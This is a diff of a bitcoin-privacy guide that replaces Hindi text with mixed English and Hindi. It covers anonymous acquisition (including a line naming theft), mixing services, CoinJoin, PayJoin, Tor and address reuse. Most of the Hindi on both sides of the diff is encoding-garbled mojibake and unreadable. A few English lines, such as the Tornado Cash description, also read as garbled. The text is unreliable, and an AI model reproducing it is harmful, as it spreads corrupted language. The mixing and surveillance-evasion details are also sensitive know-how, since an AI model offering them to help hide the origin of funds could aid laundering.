+рдиреЗрдЯрд╡рд░реНрдХ рдЯреНрд░реИрдлрд┐рдХ рдХреА рдирд┐рдЧрд░рд╛рдиреА рдХрд░рдХреЗ, рд╣рдорд▓рд╛рд╡рд░ рд╕рдВрднрд╡рддрдГ рд▓реЗрдирджреЗрди рдпрд╛ рдмреНрд▓реЙрдХреНрд╕ рдХреЛ IP рдкрддреЛрдВ рд╕реЗ рдЬреЛрдбрд╝ рд╕рдХрддреЗ рд╣реИрдВ, рдЬрд┐рд╕рд╕реЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреА рдЧреЛрдкрдиреАрдпрддрд╛ рдкреНрд░рднрд╛рд╡рд┐рдд рд╣реЛ рд╕рдХрддреА рд╣реИред рдпрд╣ рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рддрдм рд╕рдЪ рд╣реИ рдЬрдм рдХреЛрдИ рд╕рдВрд╕реНрдерд╛рди рдХрдИ Bitcoin рдиреЛрдбреНрд╕ рдЪрд▓рд╛рддрд╛ рд╣реИ, рдХреНрдпреЛрдВрдХрд┐ рдЗрд╕рд╕реЗ рдЙрдирдХреЗ рд▓рд┐рдП рд▓реЗрдирджреЗрди рдХреА рдирд┐рдЧрд░рд╛рдиреА рдХрд░рдиреЗ рдХреА рдХреНрд╖рдорддрд╛ рдмрдврд╝ рдЬрд╛рддреА рд╣реИред -## рдЕрдзрд┐рдХ +## More -рдЧреЛрдкрдиреАрдпрддрд╛ рд╣рдорд▓реЛрдВ рдФрд░ рд░рдХреНрд╖рд╛ рдХреЗ рд▓рд┐рдП рдПрдХ рд╡реНрдпрд╛рдкрдХ рд╕реВрдЪреА рдХреЗ рд▓рд┐рдП, [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy) рдкрд░ рдЬрд╛рдПрдВред +For a comprehensive list of privacy attacks and defenses, visit [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy). -# рдЧреБрдордирд╛рдо рдмрд┐рдЯрдХреЙрдЗрди рд▓реЗрдирджреЗрди +# Anonymous Bitcoin Transactions -## рдЧреБрдордирд╛рдо рд░реВрдк рд╕реЗ рдмрд┐рдЯрдХреЙрдЗрди рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рддрд░реАрдХреЗ +## Ways to Get Bitcoins Anonymously -- **рдирдХрдж рд▓реЗрдирджреЗрди**: рдирдХрдж рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдмрд┐рдЯрдХреЙрдЗрди рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛ред -- **рдирдХрдж рд╡рд┐рдХрд▓реНрдк**: рдЙрдкрд╣рд╛рд░ рдХрд╛рд░реНрдб рдЦрд░реАрджрдирд╛ рдФрд░ рдЙрдиреНрд╣реЗрдВ рдСрдирд▓рд╛рдЗрди рдмрд┐рдЯрдХреЙрдЗрди рдХреЗ рд▓рд┐рдП рдмрджрд▓рдирд╛ред -- **рдорд╛рдЗрдирд┐рдВрдЧ**: рдмрд┐рдЯрдХреЙрдЗрди рдХрдорд╛рдиреЗ рдХрд╛ рд╕рдмрд╕реЗ рдирд┐рдЬреА рддрд░реАрдХрд╛ рдорд╛рдЗрдирд┐рдВрдЧ рд╣реИ, рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдЬрдм рдЗрд╕реЗ рдЕрдХреЗрд▓реЗ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдорд╛рдЗрдирд┐рдВрдЧ рдкреВрд▓ рдорд╛рдЗрдирд░ рдХреЗ рдЖрдИрдкреА рдкрддреЗ рдХреЛ рдЬрд╛рди рд╕рдХрддреЗ рд╣реИрдВред [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining) -- **рдЪреЛрд░реА**: рд╕рд┐рджреНрдзрд╛рдВрдд рд░реВрдк рд╕реЗ, рдмрд┐рдЯрдХреЙрдЗрди рдЪреБрд░рд╛рдирд╛ рдЧреБрдордирд╛рдо рд░реВрдк рд╕реЗ рдЗрд╕реЗ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХрд╛ рдПрдХ рдФрд░ рддрд░реАрдХрд╛ рд╣реЛ рд╕рдХрддрд╛ рд╣реИ, рд╣рд╛рд▓рд╛рдВрдХрд┐ рдпрд╣ рдЕрд╡реИрдз рд╣реИ рдФрд░ рдЕрдиреБрд╢рдВрд╕рд┐рдд рдирд╣реАрдВ рд╣реИред +- **Cash Transactions**: рдирдХрдж рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ bitcoin рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛ред +- **Cash Alternatives**: рдЧрд┐рдлреНрдЯ рдХрд╛рд░реНрдб рдЦрд░реАрджрдХрд░ рдФрд░ рдЙрдиреНрд╣реЗрдВ рдСрдирд▓рд╛рдЗрди bitcoin рдХреЗ рд▓рд┐рдП рдПрдХреНрд╕рдЪреЗрдВрдЬ рдХрд░рдирд╛ред +- **Mining**: bitcoins рдХрдорд╛рдиреЗ рдХрд╛ рд╕рдмрд╕реЗ рдирд┐рдЬреА рддрд░реАрдХрд╛ mining рд╣реИ, рдЦрд╛рд╕рдХрд░ рдЕрдХреЗрд▓реЗ рдХрд░рдиреЗ рдкрд░ рдХреНрдпреЛрдВрдХрд┐ mining pools рдХреЛ рдЦрдирд┐рдХ рдХрд╛ IP рдкрддрд╛ рдкрддрд╛ рд╣реЛ рд╕рдХрддрд╛ рд╣реИред [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining) +- **Theft**: рд╕реИрджреНрдзрд╛рдиреНрддрд┐рдХ рд░реВрдк рд╕реЗ, bitcoin рдЪреЛрд░реА рдХрд░рдХреЗ рдЗрд╕реЗ рдЧреБрдордирд╛рдо рддрд░реАрдХреЗ рд╕реЗ рдкреНрд░рд╛рдкреНрдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рд╣рд╛рд▓рд╛рдБрдХрд┐ рдпрд╣ рдЕрд╡реИрдз рд╣реИ рдФрд░ рдЕрдиреБрд╢рдВрд╕рд┐рдд рдирд╣реАрдВ рд╣реИред -## рдорд┐рдХреНрд╕рд┐рдВрдЧ рд╕реЗрд╡рд╛рдПрдБ +## Mixing Services -рдорд┐рдХреНрд╕рд┐рдВрдЧ рд╕реЗрд╡рд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ, рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ **рдмрд┐рдЯрдХреЙрдЗрди рднреЗрдЬ рд╕рдХрддрд╛ рд╣реИ** рдФрд░ **рд╡рд╛рдкрд╕ рдореЗрдВ рд╡рд┐рднрд┐рдиреНрди рдмрд┐рдЯрдХреЙрдЗрди рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддрд╛ рд╣реИ**, рдЬрд┐рд╕рд╕реЗ рдореВрд▓ рдорд╛рд▓рд┐рдХ рдХреЛ рдЯреНрд░реЗрд╕ рдХрд░рдирд╛ рдХрдард┐рди рд╣реЛ рдЬрд╛рддрд╛ рд╣реИред рдлрд┐рд░ рднреА, рдЗрд╕рдХреЗ рд▓рд┐рдП рд╕реЗрд╡рд╛ рдкрд░ рднрд░реЛрд╕рд╛ рдХрд░рдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИ рдХрд┐ рд╡рд╣ рд▓реЙрдЧ рдирд╣реАрдВ рд░рдЦреЗрдЧреА рдФрд░ рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ рдмрд┐рдЯрдХреЙрдЗрди рд╡рд╛рдкрд╕ рдХрд░реЗрдЧреАред рд╡реИрдХрд▓реНрдкрд┐рдХ рдорд┐рдХреНрд╕рд┐рдВрдЧ рд╡рд┐рдХрд▓реНрдкреЛрдВ рдореЗрдВ рдмрд┐рдЯрдХреЙрдЗрди рдХреИрд╕реАрдиреЛ рд╢рд╛рдорд┐рд▓ рд╣реИрдВред +Mixing service рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ, рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ **bitcoins рднреЗрдЬ рд╕рдХрддрд╛ рд╣реИ** рдФрд░ рдмрджрд▓реЗ рдореЗрдВ **рдЕрд▓рдЧ bitcoins рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддрд╛ рд╣реИ**, рдЬрд┐рд╕рд╕реЗ рдореВрд▓ рдорд╛рд▓рд┐рдХ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдирд╛ рдХрдард┐рди рд╣реЛ рдЬрд╛рддрд╛ рд╣реИред рдлрд┐рд░ рднреА, рдЗрд╕рдХреЗ рд▓рд┐рдП рд╕реЗрд╡рд╛ рдкрд░ рднрд░реЛрд╕рд╛ рдХрд░рдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИ рдХрд┐ рд╡рд╣ рд▓реЙрдЧ рдирд╣реАрдВ рд░рдЦреЗрдЧреА рдФрд░ рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ bitcoins рд╡рд╛рдкрд╕ рдХрд░реЗрдЧреАред рд╡реИрдХрд▓реНрдкрд┐рдХ mixing рд╡рд┐рдХрд▓реНрдкреЛрдВ рдореЗрдВ Bitcoin casinos рд╢рд╛рдорд┐рд▓ рд╣реИрдВред -## рдХреЙрдЗрдирдЬреЙрдЗрди +## CoinJoin -**рдХреЙрдЗрдирдЬреЙрдЗрди** рд╡рд┐рднрд┐рдиреНрди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ рдХрдИ рд▓реЗрдирджреЗрди рдХреЛ рдПрдХ рдореЗрдВ рдорд┐рд▓рд╛рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдХрд┐рд╕реА рдХреЗ рд▓рд┐рдП рдЗрдирдкреБрдЯ рдХреЛ рдЖрдЙрдЯрдкреБрдЯ рд╕реЗ рдорд┐рд▓рд╛рдирд╛ рдЬрдЯрд┐рд▓ рд╣реЛ рдЬрд╛рддрд╛ рд╣реИред рдЗрд╕рдХреЗ рдкреНрд░рднрд╛рд╡реА рд╣реЛрдиреЗ рдХреЗ рдмрд╛рд╡рдЬреВрдж, рдЕрджреНрд╡рд┐рддреАрдп рдЗрдирдкреБрдЯ рдФрд░ рдЖрдЙрдЯрдкреБрдЯ рдЖрдХрд╛рд░ рд╡рд╛рд▓реЗ рд▓реЗрдирджреЗрди рдХреЛ рдЕрднреА рднреА рд╕рдВрднрд╛рд╡рд┐рдд рд░реВрдк рд╕реЗ рдЯреНрд░реЗрд╕ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред +**CoinJoin** рд╡рд┐рднрд┐рдиреНрди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ рдХрдИ рд▓реЗрдирджреЗрди рдХреЛ рдПрдХ рдореЗрдВ рдорд┐рд▓рд╛рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдЗрдирдкреБрдЯреНрд╕ рдХреЛ рдЖрдЙрдЯрдкреБрдЯреНрд╕ рд╕реЗ рдорд┐рд▓рд╛рдиреЗ рдХреА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдЬрдЯрд┐рд▓ рд╣реЛ рдЬрд╛рддреА рд╣реИред рдЕрдкрдиреА рдкреНрд░рднрд╛рд╡рд╢реАрд▓рддрд╛ рдХреЗ рдмрд╛рд╡рдЬреВрдж, рдЕрджреНрд╡рд┐рддреАрдп рдЗрдирдкреБрдЯ рдФрд░ рдЖрдЙрдЯрдкреБрдЯ рдЖрдХрд╛рд░ рд╡рд╛рд▓реЗ рд▓реЗрдирджреЗрди рдЕрднреА рднреА рд╕рдВрднрд╛рд╡рд┐рдд рд░реВрдк рд╕реЗ рдЯреНрд░реЗрд╕ рдХрд┐рдП рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВред -рдЙрджрд╛рд╣рд░рдг рд▓реЗрдирджреЗрди рдЬреЛ рдХреЙрдЗрдирдЬреЙрдЗрди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЙрдирдореЗрдВ `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` рдФрд░ `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238` рд╢рд╛рдорд┐рд▓ рд╣реИрдВред +Example transactions that may have used CoinJoin include `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` and `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`. -рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП, [CoinJoin](https://coinjoin.io/en) рдкрд░ рдЬрд╛рдПрдВред рдПрдереЗрд░рд┐рдпрдо рдкрд░ рд╕рдорд╛рди рд╕реЗрд╡рд╛ рдХреЗ рд▓рд┐рдП, [Tornado Cash](https://tornado.cash) рджреЗрдЦреЗрдВ, рдЬреЛ рдорд╛рдЗрдирд░реНрд╕ рдХреЗ рдлрдВрдб рд╕реЗ рд▓реЗрдирджреЗрди рдХреЛ рдЧреБрдордирд╛рдо рдмрдирд╛рддрд╛ рд╣реИред +For more information, visit [CoinJoin](https://coinjoin.io/en). For a similar service on Ethereum, check out [Tornado Cash](https://tornado.cash), which anonymizes transactions with funds from miners. -## рдкреЗ-рдЬреЙрдЗрди +## PayJoin -рдХреЙрдЗрдирдЬреЙрдЗрди рдХрд╛ рдПрдХ рд░реВрдк, **рдкреЗ-рдЬреЙрдЗрди** (рдпрд╛ P2EP), рджреЛ рдкрдХреНрд╖реЛрдВ (рдЬреИрд╕реЗ, рдПрдХ рдЧреНрд░рд╛рд╣рдХ рдФрд░ рдПрдХ рд╡реНрдпрд╛рдкрд╛рд░реА) рдХреЗ рдмреАрдЪ рд▓реЗрдирджреЗрди рдХреЛ рдПрдХ рд╕рд╛рдорд╛рдиреНрдп рд▓реЗрдирджреЗрди рдХреЗ рд░реВрдк рдореЗрдВ рдЫреБрдкрд╛рддрд╛ рд╣реИ, рдмрд┐рдирд╛ рдХреЙрдЗрдирдЬреЙрдЗрди рдХреА рд╡рд┐рд╢рд┐рд╖реНрдЯ рд╕рдорд╛рди рдЖрдЙрдЯрдкреБрдЯ рд╡рд┐рд╢реЗрд╖рддрд╛ рдХреЗред рдпрд╣ рдЗрд╕реЗ рдкрд╣рдЪрд╛рдирдирд╛ рдЕрддреНрдпрдВрдд рдХрдард┐рди рдмрдирд╛рддрд╛ рд╣реИ рдФрд░ рд▓реЗрдирджреЗрди рдирд┐рдЧрд░рд╛рдиреА рд╕рдВрд╕реНрдерд╛рдУрдВ рджреНрд╡рд╛рд░рд╛ рдЙрдкрдпреЛрдЧ рдХреА рдЬрд╛рдиреЗ рд╡рд╛рд▓реА рд╕рд╛рдорд╛рдиреНрдп-рдЗрдирдкреБрдЯ-рд╕реНрд╡рд╛рдорд┐рддреНрд╡ рд╣реНрдпреВрд░рд┐рд╕реНрдЯрд┐рдХ рдХреЛ рдЕрдорд╛рдиреНрдп рдХрд░ рд╕рдХрддрд╛ рд╣реИред +A variant of CoinJoin, **PayJoin** (or P2EP), disguises the transaction among two parties (e.g., a customer and a merchant) as a regular transaction, without the distinctive equal outputs characteristic of CoinJoin. This makes it extremely hard to detect and could invalidate the common-input-ownership heuristic used by transaction surveillance entities. ```plaintext 2 btc --> 3 btc 5 btc 4 btc ``` -рдЙрдкрд░реЛрдХреНрдд рд▓реЗрдирджреЗрди PayJoin рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВ, рдЬреЛ рдЧреЛрдкрдиреАрдпрддрд╛ рдХреЛ рдмрдврд╝рд╛рддреЗ рд╣реИрдВ рдЬрдмрдХрд┐ рдорд╛рдирдХ рдмрд┐рдЯрдХреЙрдЗрди рд▓реЗрдирджреЗрди рд╕реЗ рднрд┐рдиреНрди рдирд╣реАрдВ рд╣реЛрддреЗред +рдЙрдкрд░реНрдпреБрдХреНрдд рдЬреИрд╕реА рд▓реЗрдирджреЗрди PayJoin рд╣реЛ рд╕рдХрддреА рд╣реИрдВ, рдЬреЛ рдЧреЛрдкрдиреАрдпрддрд╛ рдмрдврд╝рд╛рддреА рд╣реИрдВ рдЬрдмрдХрд┐ рдорд╛рдирдХ bitcoin рд▓реЗрдирджреЗрди рд╕реЗ рдЕрд▓рдЧ рдкрд╣рдЪрд╛рдиреЗ рдЬрд╛рдиреЗ рдпреЛрдЧреНрдп рдирд╣реАрдВ рд░рд╣рддреАрдВред -**PayJoin рдХрд╛ рдЙрдкрдпреЛрдЧ рдкрд╛рд░рдВрдкрд░рд┐рдХ рдирд┐рдЧрд░рд╛рдиреА рд╡рд┐рдзрд┐рдпреЛрдВ рдХреЛ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд░реВрдк рд╕реЗ рдмрд╛рдзрд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИ**, рдЬреЛ рд▓реЗрдирджреЗрди рдХреА рдЧреЛрдкрдиреАрдпрддрд╛ рдХреА рдЦреЛрдЬ рдореЗрдВ рдПрдХ рдЖрд╢рд╛рдЬрдирдХ рд╡рд┐рдХрд╛рд╕ рд╣реИред +**PayJoin рдХреЗ рдЙрдкрдпреЛрдЧ рд╕реЗ рдкрд╛рд░рдВрдкрд░рд┐рдХ рдирд┐рдЧрд░рд╛рдиреА рд╡рд┐рдзрд┐рдпреЛрдВ рдореЗрдВ рдХрд╛рдлреА рд╡реНрдпрд╡рдзрд╛рди рдЖ рд╕рдХрддрд╛ рд╣реИ**, рдЬрд┐рд╕рд╕реЗ рдпрд╣ рд▓реЗрдирджреЗрди рдХреА рдЧреЛрдкрдиреАрдпрддрд╛ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рдиреЗ рдХреЗ рдкреНрд░рдпрд╛рд╕реЛрдВ рдореЗрдВ рдПрдХ рдЖрд╢рд╛рдЬрдирдХ рд╡рд┐рдХрд╛рд╕ рдмрдирддрд╛ рд╣реИред -# рдХреНрд░рд┐рдкреНрдЯреЛрдХреНрдпреВрд░реЗрдВрд╕реА рдореЗрдВ рдЧреЛрдкрдиреАрдпрддрд╛ рдХреЗ рд▓рд┐рдП рд╕рд░реНрд╡реЛрддреНрддрдо рдкреНрд░рдерд╛рдПрдБ +# рдХреНрд░рд┐рдкреНрдЯреЛрдХрд░реЗрдВрд╕реА рдореЗрдВ рдЧреЛрдкрдиреАрдпрддрд╛ рдХреЗ рд▓рд┐рдП рд╕рд░реНрд╡реЛрддреНрддрдо рдкреНрд░рдерд╛рдПрдБ -## **рд╡реЙрд▓реЗрдЯ рд╕рдордиреНрд╡рдп рддрдХрдиреАрдХреЗрдВ** +## **Wallet Synchronization Techniques** -рдЧреЛрдкрдиреАрдпрддрд╛ рдФрд░ рд╕реБрд░рдХреНрд╖рд╛ рдмрдирд╛рдП рд░рдЦрдиреЗ рдХреЗ рд▓рд┐рдП, рдмреНрд▓реЙрдХрдЪреЗрди рдХреЗ рд╕рд╛рде рд╡реЙрд▓реЗрдЯ рдХрд╛ рд╕рдордиреНрд╡рдп рдХрд░рдирд╛ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИред рджреЛ рд╡рд┐рдзрд┐рдпрд╛рдБ рдкреНрд░рдореБрдЦ рд╣реИрдВ: +рдЧреЛрдкрдиреАрдпрддрд╛ рдФрд░ рд╕реБрд░рдХреНрд╖рд╛ рдмрдирд╛рдП рд░рдЦрдиреЗ рдХреЗ рд▓рд┐рдП, рд╡реЙрд▓реЗрдЯреНрд╕ рдХрд╛ blockchain рдХреЗ рд╕рд╛рде рд╕рд┐рдВрдХреНрд░реЛрдирд╛рдЗрдЬрд╝ рд╣реЛрдирд╛ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИред рджреЛ рддрд░реАрдХреЗ рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдкреНрд░рднрд╛рд╡реА рд╣реИрдВ: -- **рдкреВрд░реНрдг рдиреЛрдб**: рдкреВрд░реЗ рдмреНрд▓реЙрдХрдЪреЗрди рдХреЛ рдбрд╛рдЙрдирд▓реЛрдб рдХрд░рдХреЗ, рдПрдХ рдкреВрд░реНрдг рдиреЛрдб рдЕрдзрд┐рдХрддрдо рдЧреЛрдкрдиреАрдпрддрд╛ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рддрд╛ рд╣реИред рд╕рднреА рд▓реЗрдирджреЗрди рдЬреЛ рдХрднреА рдХрд┐рдП рдЧрдП рд╣реИрдВ, рд╕реНрдерд╛рдиреАрдп рд░реВрдк рд╕реЗ рд╕рдВрдЧреНрд░рд╣реАрдд рд╣реЛрддреЗ рд╣реИрдВ, рдЬрд┐рд╕рд╕реЗ рдкреНрд░рддрд┐рдХреВрд▓реЛрдВ рдХреЗ рд▓рд┐рдП рдпрд╣ рдкрд╣рдЪрд╛рдирдирд╛ рдЕрд╕рдВрднрд╡ рд╣реЛ рдЬрд╛рддрд╛ рд╣реИ рдХрд┐ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХрд┐рд╕ рд▓реЗрдирджреЗрди рдпрд╛ рдкрддреЗ рдореЗрдВ рд░реБрдЪрд┐ рд░рдЦрддрд╛ рд╣реИред -- **рдХреНрд▓рд╛рдЗрдВрдЯ-рд╕рд╛рдЗрдб рдмреНрд▓реЙрдХ рдлрд╝рд┐рд▓реНрдЯрд░рд┐рдВрдЧ**: рдпрд╣ рд╡рд┐рдзрд┐ рдмреНрд▓реЙрдХрдЪреЗрди рдореЗрдВ рдкреНрд░рддреНрдпреЗрдХ рдмреНрд▓реЙрдХ рдХреЗ рд▓рд┐рдП рдлрд╝рд┐рд▓реНрдЯрд░ рдмрдирд╛рдиреЗ рдореЗрдВ рд╢рд╛рдорд┐рд▓ рд╣реЛрддреА рд╣реИ, рдЬрд┐рд╕рд╕реЗ рд╡реЙрд▓реЗрдЯреНрд╕ рдХреЛ рдиреЗрдЯрд╡рд░реНрдХ рдкрд░реНрдпрд╡реЗрдХреНрд╖рдХреЛрдВ рдХреЛ рд╡рд┐рд╢рд┐рд╖реНрдЯ рд░реБрдЪрд┐рдпреЛрдВ рдХреЛ рдЙрдЬрд╛рдЧрд░ рдХрд┐рдП рдмрд┐рдирд╛ рдкреНрд░рд╛рд╕рдВрдЧрд┐рдХ рд▓реЗрдирджреЗрди рдХреА рдкрд╣рдЪрд╛рди рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рдорд┐рд▓рддреА рд╣реИред рд╣рд▓реНрдХреЗ рд╡реЙрд▓реЗрдЯ рдЗрди рдлрд╝рд┐рд▓реНрдЯрд░реЛрдВ рдХреЛ рдбрд╛рдЙрдирд▓реЛрдб рдХрд░рддреЗ рд╣реИрдВ, рдХреЗрд╡рд▓ рддрдм рдкреВрд░реНрдг рдмреНрд▓реЙрдХ рд▓рд╛рддреЗ рд╣реИрдВ рдЬрдм рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдкрддреЗ рдХреЗ рд╕рд╛рде рдореЗрд▓ рдорд┐рд▓рддрд╛ рд╣реИред +- **Full node**: рдкреВрд░реЗ blockchain рдХреЛ рдбрд╛рдЙрдирд▓реЛрдб рдХрд░рдХреЗ, a full node рдЕрдзрд┐рдХрддрдо рдЧреЛрдкрдиреАрдпрддрд╛ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рддрд╛ рд╣реИред рд╕рднреА рдХрд┐рдП рдЧрдП рд▓реЗрдирджреЗрди рд╕реНрдерд╛рдиреАрдп рд░реВрдк рд╕реЗ рд╕рдВрдЧреНрд░рд╣рд┐рдд рд╣реЛрддреЗ рд╣реИрдВ, рдЬрд┐рд╕рд╕реЗ рд╡рд┐рдкрдХреНрд╖рд┐рдпреЛрдВ рдХреЗ рд▓рд┐рдП рдпрд╣ рдкрд╣рдЪрд╛рдирдирд╛ рдЕрд╕рдВрднрд╡ рд╣реЛ рдЬрд╛рддрд╛ рд╣реИ рдХрд┐ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХрд┐рди рд▓реЗрдирджреЗрди рдпрд╛ рдкрддреЛрдВ рдореЗрдВ рд░реБрдЪрд┐ рд░рдЦрддрд╛ рд╣реИред +- **Client-side block filtering**: рдпрд╣ рд╡рд┐рдзрд┐ blockchain рдХреЗ рд╣рд░ рдмреНрд▓реЙрдХ рдХреЗ рд▓рд┐рдП рдлрд╝рд┐рд▓реНрдЯрд░ рдмрдирд╛рдиреЗ рдореЗрдВ рд╢рд╛рдорд┐рд▓ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рд╡реЙрд▓реЗрдЯреНрд╕ рдиреЗрдЯрд╡рд░реНрдХ рдирд┐рд░реАрдХреНрд╖рдХреЛрдВ рдХреЗ рд╕рд╛рдордиреЗ рд╡рд┐рд╢рд┐рд╖реНрдЯ рд░реБрдЪрд┐рдпрд╛рдБ рдЙрдЬрд╛рдЧрд░ рдХрд┐рдП рдмрд┐рдирд╛ рдкреНрд░рд╛рд╕рдВрдЧрд┐рдХ рд▓реЗрдирджреЗрди рдкрд╣рдЪрд╛рди рд╕рдХреЗрдВред рд╣рд▓реНрдХреЗ рд╡реЙрд▓реЗрдЯреНрд╕ рдпреЗ рдлрд╝рд┐рд▓реНрдЯрд░ рдбрд╛рдЙрдирд▓реЛрдб рдХрд░рддреЗ рд╣реИрдВ рдФрд░ рдХреЗрд╡рд▓ рддрдм рдкреВрд░реНрдг рдмреНрд▓реЙрдХ рдлрд╝реЗрдЪ рдХрд░рддреЗ рд╣реИрдВ рдЬрдм рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдкрддреЛрдВ рд╕реЗ рдореЗрд▓ рдорд┐рд▓рддрд╛ рд╣реИред -## **рдЧреЛрдкрдиреАрдпрддрд╛ рдХреЗ рд▓рд┐рдП рдЯреЛрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛** +## **Utilizing Tor for Anonymity** -рдЪреВрдВрдХрд┐ рдмрд┐рдЯрдХреЙрдЗрди рдПрдХ рдкреАрдпрд░-рдЯреВ-рдкреАрдпрд░ рдиреЗрдЯрд╡рд░реНрдХ рдкрд░ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ, рдЕрдкрдиреЗ рдЖрдИрдкреА рдкрддреЗ рдХреЛ рдЫрд┐рдкрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдЯреЛрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреА рд╕рд┐рдлрд╛рд░рд┐рд╢ рдХреА рдЬрд╛рддреА рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдиреЗрдЯрд╡рд░реНрдХ рдХреЗ рд╕рд╛рде рдмрд╛рддрдЪреАрдд рдХрд░рддреЗ рд╕рдордп рдЧреЛрдкрдиреАрдпрддрд╛ рдмрдврд╝рддреА рд╣реИред +рдЪреВрдВрдХрд┐ Bitcoin рдПрдХ peer-to-peer рдиреЗрдЯрд╡рд░реНрдХ рдкрд░ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ, рдиреЗрдЯрд╡рд░реНрдХ рдХреЗ рд╕рд╛рде рдЗрдВрдЯрд░реИрдХреНрдЯ рдХрд░рддреЗ рд╕рдордп рдЕрдкрдиреА IP рдкрддрд╛ рдЫрд┐рдкрд╛рдиреЗ рдХреЗ рд▓рд┐рдП Tor рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреА рд╕рд▓рд╛рд╣ рджреА рдЬрд╛рддреА рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдЧреЛрдкрдиреАрдпрддрд╛ рдмрдврд╝рддреА рд╣реИред -## **рдкрддреЗ рдХреЗ рдкреБрди: рдЙрдкрдпреЛрдЧ рдХреЛ рд░реЛрдХрдирд╛** +## **Preventing Address Reuse** -рдЧреЛрдкрдиреАрдпрддрд╛ рдХреА рд╕реБрд░рдХреНрд╖рд╛ рдХреЗ рд▓рд┐рдП, рд╣рд░ рд▓реЗрдирджреЗрди рдХреЗ рд▓рд┐рдП рдПрдХ рдирдпрд╛ рдкрддрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИред рдкрддреЗ рдХрд╛ рдкреБрди: рдЙрдкрдпреЛрдЧ рд▓реЗрдирджреЗрди рдХреЛ рдПрдХ рд╣реА рдЗрдХрд╛рдИ рд╕реЗ рдЬреЛрдбрд╝рдХрд░ рдЧреЛрдкрдиреАрдпрддрд╛ рдХреЛ рдЦрддрд░реЗ рдореЗрдВ рдбрд╛рд▓ рд╕рдХрддрд╛ рд╣реИред рдЖрдзреБрдирд┐рдХ рд╡реЙрд▓реЗрдЯ рдЕрдкрдиреЗ рдбрд┐рдЬрд╝рд╛рдЗрди рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдкрддреЗ рдХреЗ рдкреБрди: рдЙрдкрдпреЛрдЧ рдХреЛ рд╣рддреЛрддреНрд╕рд╛рд╣рд┐рдд рдХрд░рддреЗ рд╣реИрдВред +рдЧреЛрдкрдиреАрдпрддрд╛ рд╕реБрд░рдХреНрд╖рд┐рдд рд░рдЦрдиреЗ рдХреЗ рд▓рд┐рдП, рд╣рд░ рд▓реЗрдирджреЗрди рдХреЗ 